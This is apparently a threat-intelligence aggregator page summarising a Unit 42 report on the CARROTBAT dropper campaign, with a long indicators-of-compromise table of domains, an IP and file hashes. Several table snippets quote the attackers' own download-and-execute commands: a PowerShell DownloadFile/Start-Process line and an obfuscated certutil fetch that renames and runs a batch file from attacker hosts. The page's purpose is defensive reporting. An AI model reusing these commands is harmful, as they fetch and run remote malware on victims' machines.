The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia

Palo Alto Unit 42by Kyle Wilhoit, Josh GrunzweigAug 17, 2026 · 12:22 UTC (Aug 17, 2026)10 min read3

AI summary · glm-5.3-flashSummaries by Vani AI

Unit 42 uncovers the Fractured Block campaign using the CARROTBAT dropper to deliver SYSCON and OceanSalt malware in cryptocurrency-themed attacks across Southeast Asia.

Unit 42 identified 29 CARROTBAT dropper samples used in the Fractured Block campaign, delivering decoy documents on cryptocurrencies, exchanges, and Korean political topics. Early samples delivered the SYSCON RAT, which uses FTP for command and control, while later ones dropped the previously reported OceanSalt malware. CARROTBAT supports 11 decoy file formats and uses certutil to download and execute payloads. Initial discovery stemmed from a December 2017 spear phishing attack on a British government agency, with infrastructure overlap tying the campaign to KONNI activity.

Key facts

29 CARROTBAT samples with 12 unique decoy documents identified
Lures cover cryptocurrencies, exchanges, and US-North Korea political events
Payloads shifted from SYSCON RAT (FTP C2) to OceanSalt in June 2018
Supports 11 decoy formats; uses certutil to fetch and run payloads
Infrastructure overlap connects CARROTBAT activity to KONNI malware

Analyze this story with Vani AIImpact, who is affected and what defenders should do, in a new chat

ATT&CK: T1566.001 Spearphishing Attachment T1059.001 PowerShell T1105 Ingress Tool Transfer

Tags: carrotbat dropper konni oceansalt southeast-asia syscon unit42

Vendors: Palo Alto Networks
Malware: CARROTBAT SYSCON OceanSalt KONNI
Organizations: Unit 42
Countries: United Kingdom North Korea South Korea

Indicators of compromise

auto-extracted · verify before use · export allAll

From the original article

10 min read at unit42.paloaltonetworks.com

Unit 42 has uncovered a campaign leveraging a previously unreported customized dropper that is being used to deliver lures primarily pertaining to the South Korea and North Korea region. These lures revolve around a series of subjects, including various cryptocurrencies, cryptocurrency exchanges, and political events.

Palo Alto Unit 42

By Kyle Wilhoit, Josh Grunzweig · unit42.paloaltonetworks.com

Read the full article at Palo Alto Unit 42

A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.

Type	Indicator	Context
domain	000webhostapp.com	ct System . Net . WebClient ) . DownloadFile ( 'https://881.000webhostapp[.]com/0_31.doc' , '%TEMP%\\AAA.exe' ) ; Start - Process ( '%TEM
domain	000webhost.com	mmunication: ftp.byethost7[.]com ftp.byethost10[.]com files.000webhost[.]com Beginning in June 2018, we observed the OceanSalt malware
domain	1apps.com	^ e ^ r ^ tutil - urlca ^ che - spl ^ it - f http : //s8877.1apps[.]com/vip/1.txt && ren 1.txt 1.bat && 1.bat && exit This comman
domain	byethost10.com	hosts via FTP for C2 communication: ftp.byethost7[.]com ftp.byethost10[.]com files.000webhost[.]com Beginning in June 2018, we observe
domain	byethost7.com	with the following hosts via FTP for C2 communication: ftp.byethost7[.]com ftp.byethost10[.]com files.000webhost[.]com Beginning in
domain	bytehost31.org	ongs to the SYSCON malware family. It communicates with ftp.bytehost31[.]org via FTP for command and control (C2). Figure 2 SYSCON net
domain	nknews.org	article that was published on the same day as the attack by NKNews[.]org. The article in question discusses diplomatic ties betwee
domain	webhost.com	byethost7[.]com ftp.byethost10[.]com files.000webhost[.]com webhost[.]com 61.14.210[.]72:7117
domain	webmail-koryogroup.com	com/1.txt http://bluemountain.1apps[.]com/1.txt https://www.webmail-koryogroup[.]com/keep/1.txt http://filer1.1apps[.]com/1.txt ftp.byethost7[
ipv4	61.14.210.72	communicating with the following host for C2 communication: 61.14.210[.]72:7117 Interesting Ties with Other Threat Activity As state
md5	3e4015366126dcdbdcc8b5c508a6d25c	s For the analysis below, the following sample is used: MD5 3e4015366126dcdbdcc8b5c508a6d25c SHA1 f459f9cfbd10b136cafb19cbc233a4c8342ad984 SHA256 aef92b
md5	a943e196b83c4acd9c5ce13e4c43b4f4	l The downloaded CAB file has the following properties: MD5 a943e196b83c4acd9c5ce13e4c43b4f4 SHA1 e66e416f300c7efb90c383a7630c9cfe901ff9fd SHA256 cfe436
sha1	e66e416f300c7efb90c383a7630c9cfe901ff9fd	owing properties: MD5 a943e196b83c4acd9c5ce13e4c43b4f4 SHA1 e66e416f300c7efb90c383a7630c9cfe901ff9fd SHA256 cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575be
sha1	f459f9cfbd10b136cafb19cbc233a4c8342ad984	g sample is used: MD5 3e4015366126dcdbdcc8b5c508a6d25c SHA1 f459f9cfbd10b136cafb19cbc233a4c8342ad984 SHA256 aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e5
sha256	0490e7d24defc2f0a4239e76197f1cba50e7ce4e092080d2f7db13ea0f88120b	8c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad040cf 0490e7d24defc2f0a4239e76197f1cba50e7ce4e092080d2f7db13ea0f88120b OceanSalt Payload Samples 59b023b30d8a76c5984fe62d2e751875b
sha256	0bb099849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f26358	40283372eb805df794ae700c25f789d77165bb98b7174ee03a617a566d4 0bb099849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f26358 f4c00cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363
sha256	1142dcc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d479e0	434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a496b2ae 1142dcc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d479e0 337b8c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348
sha256	1c8351ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead54155968	f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e55487dafc 1c8351ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead54155968 2da750b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6
sha256	22b16fa7af7b51880faceb33dd556242331daf7b7749cabd9d7c9735fb56aa10	dddd05a2462e252997dc9d1ba09a9d9049df564d00070c7da36e526a66a 22b16fa7af7b51880faceb33dd556242331daf7b7749cabd9d7c9735fb56aa10 3869c738fa80b1e127f97c0afdb6c2e1c15115f183480777977b8422561
sha256	2547b958f7725539e9bba2a1852a163100daa1927bb621b2837bb88007857a48	be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de 2547b958f7725539e9bba2a1852a163100daa1927bb621b2837bb88007857a48 6c591dddd05a2462e252997dc9d1ba09a9d9049df564d00070c7da36e52
sha256	26fc6fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d909847	a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8bead9aa 26fc6fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d909847 e218b19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2c
sha256	2da750b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6d0c48	1ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead54155968 2da750b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6d0c48 5d1388c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad
sha256	2efdd25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a1750708f27	331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae70652 2efdd25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a1750708f27 62886d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da502482
sha256	337b8c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348cc27b	cc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d479e0 337b8c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348cc27b 92b45e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2
sha256	3663e7b197efe91fb7879a56c29fb8ed196815e0145436ee2fad5825c29de897	3ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2 3663e7b197efe91fb7879a56c29fb8ed196815e0145436ee2fad5825c29de897 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c
sha256	3869c738fa80b1e127f97c0afdb6c2e1c15115f183480777977b8422561980dd	fa7af7b51880faceb33dd556242331daf7b7749cabd9d7c9735fb56aa10 3869c738fa80b1e127f97c0afdb6c2e1c15115f183480777977b8422561980dd ba100e7bac8672b9fd73f2d0b7f419378f81ffb56830f6e27079cb4a064
sha256	3cbccb059225669dcfdc7542ce28666e0b1a227714eaf4b16869808bffe90b96	6057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8be1c97 3cbccb059225669dcfdc7542ce28666e0b1a227714eaf4b16869808bffe90b96 aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7
sha256	42e18ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe50662876ded	e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2a62ef 42e18ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe50662876ded ba78f0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410
sha256	59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005	a50e7ce4e092080d2f7db13ea0f88120b OceanSalt Payload Samples 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005 7cf37067f08b0b8f9c58a35d409fdd6481337bdc2d5f2152f8e8f304f8a
sha256	5a2c53a20fd66467e87290f5845a5c7d6aa8d460426abd30d4a6adcffca06b8b	df350d155b8e63d872a914581314aaa9c1dc SYSCON Payload Samples 5a2c53a20fd66467e87290f5845a5c7d6aa8d460426abd30d4a6adcffca06b8b fceceb104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a3703
sha256	5d1388c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad040cf	0b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6d0c48 5d1388c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad040cf 0490e7d24defc2f0a4239e76197f1cba50e7ce4e092080d2f7db13ea0f8
sha256	62886d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da50248254bb7	25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a1750708f27 62886d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da50248254bb7 f27d640283372eb805df794ae700c25f789d77165bb98b7174ee03a617a
sha256	6c591dddd05a2462e252997dc9d1ba09a9d9049df564d00070c7da36e526a66a	958f7725539e9bba2a1852a163100daa1927bb621b2837bb88007857a48 6c591dddd05a2462e252997dc9d1ba09a9d9049df564d00070c7da36e526a66a 22b16fa7af7b51880faceb33dd556242331daf7b7749cabd9d7c9735fb5
sha256	70106ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33a2e22	9a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232fd3e3 70106ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33a2e22 87c50166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201
sha256	7ae933ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2	6c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62 7ae933ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2 3663e7b197efe91fb7879a56c29fb8ed196815e0145436ee2fad5825c29
sha256	7cf37067f08b0b8f9c58a35d409fdd6481337bdc2d5f2152f8e8f304f8a472b6	3b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005 7cf37067f08b0b8f9c58a35d409fdd6481337bdc2d5f2152f8e8f304f8a472b6 fe8d65287dd40ca0a1fadddc4268268b4a77cdb04a490c1a73aa15b6e4f
sha256	7d443434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a496b2ae	27a12063172f12d5375c449c3eef505fde1ce4f5566e27ef2882002b5d0 7d443434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a496b2ae 1142dcc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d
sha256	7d8376057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8be1c97	d1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073f5cea 7d8376057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8be1c97 3cbccb059225669dcfdc7542ce28666e0b1a227714eaf4b16869808bffe
sha256	824f79a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232fd3e3	19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2cbf828 824f79a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232fd3e3 70106ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33
sha256	87c50166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201cbdfc	ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33a2e22 87c50166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201cbdfc ac23017efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf3
sha256	8b6b4a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8bead9aa	bf20ccd93df9d43838cea41a7e243009a3ef055966cb9dea75d84b2724d 8b6b4a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8bead9aa 26fc6fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d9
sha256	92b45e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2a62ef	c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348cc27b 92b45e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2a62ef 42e18ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe506628
sha256	9fa69bdc731015aa7bdd86cd311443e6f829fa27a9ba0adcd49fa773fb5e7fa9	de24beacb2ef940210ba9acb21073e2b0dadcd92f1b8f6acd72b523c828 9fa69bdc731015aa7bdd86cd311443e6f829fa27a9ba0adcd49fa773fb5e7fa9 ffd1e66c2385dae0bb6dda186f004800eb6ceaed132aec2ea42b1ddcf12
sha256	a0f53abde0d15497776e975842e7df350d155b8e63d872a914581314aaa9c1dc	b2e5d3e37f8774ae22a21738ae345e44c07ff58f1ab7178a3a43590fddd a0f53abde0d15497776e975842e7df350d155b8e63d872a914581314aaa9c1dc SYSCON Payload Samples 5a2c53a20fd66467e87290f5845a5c7d6aa8
sha256	a23f95b4a602bdaef1b58e97843e2f38218554eb57397210a1aaa68508843bd0	5287dd40ca0a1fadddc4268268b4a77cdb04a490c1a73aa15b6e4f1dd63 a23f95b4a602bdaef1b58e97843e2f38218554eb57397210a1aaa68508843bd0 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c
sha256	ac23017efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf376f4f	166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201cbdfc ac23017efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf376f4f d965627a12063172f12d5375c449c3eef505fde1ce4f5566e27ef288200
sha256	aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de	a6d25c SHA1 f459f9cfbd10b136cafb19cbc233a4c8342ad984 SHA256 aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de File Type PE32 executable (GUI) Intel 80386, for MS Windows
sha256	ba100e7bac8672b9fd73f2d0b7f419378f81ffb56830f6e27079cb4a064ba39a	738fa80b1e127f97c0afdb6c2e1c15115f183480777977b8422561980dd ba100e7bac8672b9fd73f2d0b7f419378f81ffb56830f6e27079cb4a064ba39a e527ade24beacb2ef940210ba9acb21073e2b0dadcd92f1b8f6acd72b52
sha256	ba78f0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410f10cb	ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe50662876ded ba78f0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410f10cb dca9bd1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073
sha256	cf31dac47680ff1375ddaa3720892ed3a7a70d1872ee46e6366e6f93123f58d2	3ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2 cf31dac47680ff1375ddaa3720892ed3a7a70d1872ee46e6366e6f93123f58d2 fe186d04ca6afec2578386b971b5ecb189d8381be055790a9e6f78b3f23
sha256	cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62	43b4f4 SHA1 e66e416f300c7efb90c383a7630c9cfe901ff9fd SHA256 cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62 File Type Microsoft Cabinet archive data, 181248 bytes, 3 f
sha256	d34aabf20ccd93df9d43838cea41a7e243009a3ef055966cb9dea75d84b2724d	unicate with 61.14.210[.]72 on port 7117. CARROTBAT Samples d34aabf20ccd93df9d43838cea41a7e243009a3ef055966cb9dea75d84b2724d 8b6b4a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8be
sha256	d965627a12063172f12d5375c449c3eef505fde1ce4f5566e27ef2882002b5d0	17efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf376f4f d965627a12063172f12d5375c449c3eef505fde1ce4f5566e27ef2882002b5d0 7d443434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a49
sha256	da94a331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae70652	f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965f8de5 da94a331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae70652 2efdd25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a17507
sha256	dca9bd1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073f5cea	0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410f10cb dca9bd1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073f5cea 7d8376057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8b
sha256	e218b19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2cbf828	fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d909847 e218b19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2cbf828 824f79a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232
sha256	e3b45b2e5d3e37f8774ae22a21738ae345e44c07ff58f1ab7178a3a43590fddd	66c2385dae0bb6dda186f004800eb6ceaed132aec2ea42b1ddcf12a5c4e e3b45b2e5d3e37f8774ae22a21738ae345e44c07ff58f1ab7178a3a43590fddd a0f53abde0d15497776e975842e7df350d155b8e63d872a914581314aaa
sha256	e527ade24beacb2ef940210ba9acb21073e2b0dadcd92f1b8f6acd72b523c828	e7bac8672b9fd73f2d0b7f419378f81ffb56830f6e27079cb4a064ba39a e527ade24beacb2ef940210ba9acb21073e2b0dadcd92f1b8f6acd72b523c828 9fa69bdc731015aa7bdd86cd311443e6f829fa27a9ba0adcd49fa773fb5
sha256	e8381f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e55487dafc	cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363f5084 e8381f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e55487dafc 1c8351ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead541
sha256	f27d640283372eb805df794ae700c25f789d77165bb98b7174ee03a617a566d4	d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da50248254bb7 f27d640283372eb805df794ae700c25f789d77165bb98b7174ee03a617a566d4 0bb099849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f
sha256	f4c00cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363f5084	9849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f26358 f4c00cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363f5084 e8381f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e5548
sha256	fa712f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965f8de5	b104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a37034f659 fa712f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965f8de5 da94a331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae
sha256	fceceb104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a37034f659	3a20fd66467e87290f5845a5c7d6aa8d460426abd30d4a6adcffca06b8b fceceb104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a37034f659 fa712f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965
sha256	fe186d04ca6afec2578386b971b5ecb189d8381be055790a9e6f78b3f23c9958	ac47680ff1375ddaa3720892ed3a7a70d1872ee46e6366e6f93123f58d2 fe186d04ca6afec2578386b971b5ecb189d8381be055790a9e6f78b3f23c9958 Infrastructure https://881.000webhostapp[.]com/1.txt http:/
sha256	fe8d65287dd40ca0a1fadddc4268268b4a77cdb04a490c1a73aa15b6e4f1dd63	067f08b0b8f9c58a35d409fdd6481337bdc2d5f2152f8e8f304f8a472b6 fe8d65287dd40ca0a1fadddc4268268b4a77cdb04a490c1a73aa15b6e4f1dd63 a23f95b4a602bdaef1b58e97843e2f38218554eb57397210a1aaa685088
sha256	ffd1e66c2385dae0bb6dda186f004800eb6ceaed132aec2ea42b1ddcf12a5c4e	bdc731015aa7bdd86cd311443e6f829fa27a9ba0adcd49fa773fb5e7fa9 ffd1e66c2385dae0bb6dda186f004800eb6ceaed132aec2ea42b1ddcf12a5c4e e3b45b2e5d3e37f8774ae22a21738ae345e44c07ff58f1ab7178a3a4359